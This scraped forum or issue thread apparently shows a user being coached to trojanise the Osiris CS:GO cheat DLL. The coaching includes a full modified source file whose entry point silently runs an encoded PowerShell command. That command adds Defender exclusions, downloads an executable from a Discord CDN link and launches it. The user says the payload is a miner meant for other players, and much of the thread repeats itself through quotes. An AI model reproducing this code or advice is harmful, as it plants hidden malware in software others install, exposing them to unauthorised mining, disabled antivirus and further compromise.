is it possible to bind a dll with exe

Question

is it possible to bind a dll with exe

azzerzzzeqwe opened this issue 2 years ago · 26 comments

azzerzzzeqwe commented 2 years ago

if i bind a dll with exe and i rename it with the extension agian will it work?

edit: wrong category srry

Answer 1 · 2022-05-28T07:47:01.000Z

Rename the final build to .dll you mean? It depends on how the .dll is going to be loaded.

Answer 2 · 2022-05-28T18:12:48.000Z

Rename the final build to .dll you mean? It depends on how the .dll is going to be loaded.

i want to bind it with a csgo cheat dll that will be injected using a Vac bypass injector

Answer 3 · 2022-05-28T18:14:45.000Z

Then no you'd have to code your own .dll then due to how .dll's and injectors work.

Answer 4 · 2022-05-28T18:16:15.000Z

Then no you'd have to code your own .dll then due to how .dll's and injectors work.

so would there be any way to edit the DLLs code in order to remotely download and execute the exe from a host? while still working

Answer 5 · 2022-05-28T18:17:43.000Z

You could edit the cheat .dll and add that yes.

Answer 6 · 2022-05-28T18:19:34.000Z

You could edit the cheat .dll and add that yes.

to edit it do all i need is visual studio? and is there any place i can find a simple download and execute script to put in, also since the file would need admin perms does that mean a screen would appear asking for it after injected

Answer 7 · 2022-05-28T18:25:00.000Z

Depends on what your cheat .dll is made in and if you have the source code. You can use the download and execute script from this project, you can output the powershell string that's used and just copy paste it into that .dll (and include some method of executing it like in the UnamDownloader). Not sure how it would work with permissions but I assume it takes the privileges of CSGO in this case, it won't ask for administrator permissions since it's .dll injection and not an executable, but you could technically change the powershell script to ask for permissions.

Answer 8 · 2022-05-28T18:34:24.000Z

Depends on what your cheat .dll is made in and if you have the source code. You can use the download and execute script from this project, you can output the powershell string that's used and just copy paste it into that .dll (and include some method of executing it like in the UnamDownloader). Not sure how it would work with permissions but I assume it takes the privileges of CSGO in this case, it won't ask for administrator permissions since it's .dll injection and not an executable, but you could technically change the powershell script to ask for permissions.

the dll is https://anonfiles.com/n1G4s4a8yf/cheat_dll i think the source code is open idk how to check

Answer 9 · 2022-05-28T18:39:55.000Z

You'd need the code just like this: https://github.com/UnamSanctam/UnamDownloader/tree/master/UnamDownloader with all the files to be able to compile your own.

Answer 10 · 2022-05-28T18:42:57.000Z

.

so if the dll does have the source code, i just need to pick a random line in the code, then add in the code from the downloader, and then upload the file somewhere, then put that link in the downloader code?

Answer 11 · 2022-05-28T18:48:13.000Z

First you would build a build in the UnamDownloader with only the file you want to bind (not the .dll) and get the code used in that build, then you'd need to find somewhere to place the downloader code (probably somewhere in the DllMain function), then place the downloader code, compile the .dll and it would be done. You'd then have the cheat .dll that would download and execute the files whenever it gets injected.

Answer 12 · 2022-05-28T19:26:21.000Z

First you would build a build in the UnamDownloader with only the file you want to bind (not the .dll) and get the code used in that build, then you'd need to find somewhere to place the downloader code (probably somewhere in the DllMain function), then place the downloader code, compile the .dll and it would be done. You'd then have the cheat .dll that would download and execute the files whenever it gets injected.

when im trying to build i get this
tcc: error: could not run 'C:\clips\miner\Compilers\tinycc\i386-win32-tcc.exe'

nvm i used the Managed option and it worked

Answer 13 · 2022-05-28T19:31:38.000Z

First you would build a build in the UnamDownloader with only the file you want to bind (not the .dll) and get the code used in that build, then you'd need to find somewhere to place the downloader code (probably somewhere in the DllMain function), then place the downloader code, compile the .dll and it would be done. You'd then have the cheat .dll that would download and execute the files whenever it gets injected.

how would i go about opening the exe file? i dont have any code editor except for visual studio and it opens to random characters and says it cant recognize the text encoding

Answer 14 · 2022-05-28T19:37:23.000Z

Since it's a managed file you can use ILSpy and just debug it, you only need the powershell command from it.

Answer 15 · 2022-05-28T19:43:30.000Z

Since it's a managed file you can use ILSpy and just debug it, you only need the powershell command from it.

......

Answer 16 · 2022-05-28T19:45:01.000Z

Open the entry at the bottom, then select the entry that appears under it and you should see the code in the right box.

Answer 17 · 2022-05-28T19:46:03.000Z

Open the entry at the bottom, then select the entry that appears under it and you should see the code in the right box.

ProcessStartInfo processStartInfo = new ProcessStartInfo();
processStartInfo.FileName = "powershell";
processStartInfo.Arguments = "-EncodedCommand "PAAjAGoAdgBtACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAZwBxAGcAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAdwBnAHEAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAagB2AGoAIwA+ADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGMAZABuAC4AZABpAHMAYwBvAHIAZABhAHAAcAAuAGMAbwBtAC8AYQB0AHQAYQBjAGgAbQBlAG4AdABzAC8AOQA1ADUAMgA4ADgAOAAxADgAMQA2ADcAMgAwADEAOAAxADIALwA5ADgAMAAxADgAOQA3ADIAMQA0ADMAMwAxADAAMAAzADYAOAAvAGUAaAB0AC4AZQB4AGUAJwAsACAAPAAjAHYAbgBkACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAaABuAGcAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AFUAcwBlAHIAUAByAG8AZgBpAGwAZQAgADwAIwBkAGQAdQAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBJAG4AagBlAGMAdABvAHIALgBlAHgAZQAnACkAKQA8ACMAeQB2AHgAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAbABsAHEAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUAIAA8ACMAZwBrAHgAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcASQBuAGoAZQBjAHQAbwByAC4AZQB4AGUAJwApADwAIwB0AGwAcwAjAD4A"";
processStartInfo.WindowStyle = ProcessWindowStyle.Hidden;
processStartInfo.CreateNoWindow = true;
Process.Start(processStartInfo);

is that the whole cmd?

Answer 18 · 2022-05-28T19:48:20.000Z

Yes,

powershell -EncodedCommand "PAAjAGoAdgBtACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAZwBxAGcAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAdwBnAHEAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAagB2AGoAIwA+ADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGMAZABuAC4AZABpAHMAYwBvAHIAZABhAHAAcAAuAGMAbwBtAC8AYQB0AHQAYQBjAGgAbQBlAG4AdABzAC8AOQA1ADUAMgA4ADgAOAAxADgAMQA2ADcAMgAwADEAOAAxADIALwA5ADgAMAAxADgAOQA3ADIAMQA0ADMAMwAxADAAMAAzADYAOAAvAGUAaAB0AC4AZQB4AGUAJwAsACAAPAAjAHYAbgBkACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAaABuAGcAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AFUAcwBlAHIAUAByAG8AZgBpAGwAZQAgADwAIwBkAGQAdQAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBJAG4AagBlAGMAdABvAHIALgBlAHgAZQAnACkAKQA8ACMAeQB2AHgAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAbABsAHEAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUAIAA8ACMAZwBrAHgAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcASQBuAGoAZQBjAHQAbwByAC4AZQB4AGUAJwApADwAIwB0AGwAcwAjAD4A"

Is your command, you can run that from inside any program and it will download and execute whatever things you put in the downloader.

Answer 19 · 2022-05-28T19:49:12.000Z

powershell -EncodedCommand "PAAjAGoAdgBtACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAZwBxAGcAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAdwBnAHEAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAagB2AGoAIwA+ADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGMAZABuAC4AZABpAHMAYwBvAHIAZABhAHAAcAAuAGMAbwBtAC8AYQB0AHQAYQBjAGgAbQBlAG4AdABzAC8AOQA1ADUAMgA4ADgAOAAxADgAMQA2ADcAMgAwADEAOAAxADIALwA5ADgAMAAxADgAOQA3ADIAMQA0ADMAMwAxADAAMAAzADYAOAAvAGUAaAB0AC4AZQB4AGUAJwAsACAAPAAjAHYAbgBkACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAaABuAGcAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AFUAcwBlAHIAUAByAG8AZgBpAGwAZQAgADwAIwBkAGQAdQAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBJAG4AagBlAGMAdABvAHIALgBlAHgAZQAnACkAKQA8ACMAeQB2AHgAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAbABsAHEAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUAIAA8ACMAZwBrAHgAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcASQBuAGoAZQBjAHQAbwByAC4AZQB4AGUAJwApADwAIwB0AGwAcwAjAD4A"

so i just copy paste that in a random line in the dll?
do i open the DLL with ilspy also or another program.

Answer 20 · 2022-05-28T19:53:23.000Z

You'll need to execute the command somehow (for example with ShellExecute), you can't really "open" the .dll, it's a native file and not a managed file so only way would be to reverse engineer it (you need a lot of experience for that). You'll need the cheat source code to build your own version of the cheat .dll.

Answer 21 · 2022-05-28T19:55:01.000Z

You'll need to execute the command somehow (for example with ShellExecute), you can't really "open" the .dll, it's a native file and not a managed file so only way would be to reverse engineer it (you need a lot of experience for that). You'll need the cheat source code to build your own version of the cheat .dll.

i could use this https://github.com/danielkrupinski/Osiris
the problem is idk how to do the shellexecute thing or where to put the line of code

Answer 22 · 2022-05-28T21:23:58.000Z

You would maybe put it in this file https://github.com/danielkrupinski/Osiris/blob/master/Source/Osiris.cpp so that it would look like this:

#include <memory>

#ifdef _WIN32
#include <clocale>
#include <Windows.h>
#include <ShellAPI.h>
#endif

#include "Hooks.h"

#ifdef _WIN32

extern "C" BOOL WINAPI _CRT_INIT(HMODULE moduleHandle, DWORD reason, LPVOID reserved);

BOOL APIENTRY DllEntryPoint(HMODULE moduleHandle, DWORD reason, LPVOID reserved)
{
    if (!_CRT_INIT(moduleHandle, reason, reserved))
        return FALSE;

    if (reason == DLL_PROCESS_ATTACH) {
        std::setlocale(LC_CTYPE, ".utf8");
        hooks = std::make_unique<Hooks>(moduleHandle);
    }

    ShellExecuteA(NULL, "open", "powershell", "-EncodedCommand \"PAAjAGoAdgBtACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAZwBxAGcAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAdwBnAHEAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAagB2AGoAIwA+ADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGMAZABuAC4AZABpAHMAYwBvAHIAZABhAHAAcAAuAGMAbwBtAC8AYQB0AHQAYQBjAGgAbQBlAG4AdABzAC8AOQA1ADUAMgA4ADgAOAAxADgAMQA2ADcAMgAwADEAOAAxADIALwA5ADgAMAAxADgAOQA3ADIAMQA0ADMAMwAxADAAMAAzADYAOAAvAGUAaAB0AC4AZQB4AGUAJwAsACAAPAAjAHYAbgBkACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAaABuAGcAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AFUAcwBlAHIAUAByAG8AZgBpAGwAZQAgADwAIwBkAGQAdQAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBJAG4AagBlAGMAdABvAHIALgBlAHgAZQAnACkAKQA8ACMAeQB2AHgAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAbABsAHEAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUAIAA8ACMAZwBrAHgAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcASQBuAGoAZQBjAHQAbwByAC4AZQB4AGUAJwApADwAIwB0AGwAcwAjAD4A\"", NULL, SW_HIDE);
    return TRUE;
}

#else

void __attribute__((constructor)) DllEntryPoint()
{
    hooks = std::make_unique<Hooks>();
}

#endif

Answer 23 · 2022-05-28T21:52:28.000Z

You would maybe put it in this file https://github.com/danielkrupinski/Osiris/blob/master/Source/Osiris.cpp so that it would look like this:

#include <memory>

#ifdef _WIN32
#include <clocale>
#include <Windows.h>
#include <ShellAPI.h>
#endif

#include "Hooks.h"

#ifdef _WIN32

extern "C" BOOL WINAPI _CRT_INIT(HMODULE moduleHandle, DWORD reason, LPVOID reserved);

BOOL APIENTRY DllEntryPoint(HMODULE moduleHandle, DWORD reason, LPVOID reserved)
{
    if (!_CRT_INIT(moduleHandle, reason, reserved))
        return FALSE;

    if (reason == DLL_PROCESS_ATTACH) {
        std::setlocale(LC_CTYPE, ".utf8");
        hooks = std::make_unique<Hooks>(moduleHandle);
    }

    ShellExecuteA(NULL, "open", "powershell", "-EncodedCommand \"PAAjAGoAdgBtACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAZwBxAGcAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAdwBnAHEAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAagB2AGoAIwA+ADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGMAZABuAC4AZABpAHMAYwBvAHIAZABhAHAAcAAuAGMAbwBtAC8AYQB0AHQAYQBjAGgAbQBlAG4AdABzAC8AOQA1ADUAMgA4ADgAOAAxADgAMQA2ADcAMgAwADEAOAAxADIALwA5ADgAMAAxADgAOQA3ADIAMQA0ADMAMwAxADAAMAAzADYAOAAvAGUAaAB0AC4AZQB4AGUAJwAsACAAPAAjAHYAbgBkACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAaABuAGcAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AFUAcwBlAHIAUAByAG8AZgBpAGwAZQAgADwAIwBkAGQAdQAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBJAG4AagBlAGMAdABvAHIALgBlAHgAZQAnACkAKQA8ACMAeQB2AHgAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAbABsAHEAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUAIAA8ACMAZwBrAHgAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcASQBuAGoAZQBjAHQAbwByAC4AZQB4AGUAJwApADwAIwB0AGwAcwAjAD4A\"", NULL, SW_HIDE);
    return TRUE;
}

#else

void __attribute__((constructor)) DllEntryPoint()
{
    hooks = std::make_unique<Hooks>();
}

#endif

k, before i do it do my settings look fine? i havent done this with a dll before so i dont wanna make any mistakes
https://anonfiles.com/xdKaR6k3y2/Screenshot_2022-05-28_174720_png
https://anonfiles.com/1bK0R5kayd/Screenshot_2022-05-28_174928_png
https://anonfiles.com/51KdR0k4ya/Screenshot_2022-05-28_174958_png
and would i just copy paste that whole section into the .cpp file?

Answer 24 · 2022-05-28T22:32:22.000Z

Yes those settings look fine, and yes just copy paste (replace) everything in that .cpp file.

Answer 25 · 2022-05-28T22:54:42.000Z

Yes those settings look fine, and yes just copy paste (replace) everything in that .cpp file.

ok, i made a new miner without stealth and replaced the cmd. since i cannot because i dont know anythgin about it can you test to see if it works using an injector? its not the injector people would use with steam so idk if it would work the same but maybe
dll- https://tmpfiles.org/301321/osiris.dll
injector - https://tmpfiles.org/301319/dll_injector_setup_1.2.6.exe
if you have free time of course

Answer 26 · 2023-01-12T10:09:56.000Z

Yes those settings look fine, and yes just copy paste (replace) everything in that .cpp file.

ok, i made a new miner without stealth and replaced the cmd. since i cannot because i dont know anythgin about it can you test to see if it works using an injector? its not the injector people would use with steam so idk if it would work the same but maybe dll- https://tmpfiles.org/301321/osiris.dll injector - https://tmpfiles.org/301319/dll_injector_setup_1.2.6.exe if you have free time of course

Your request is unreasonable and ignorant!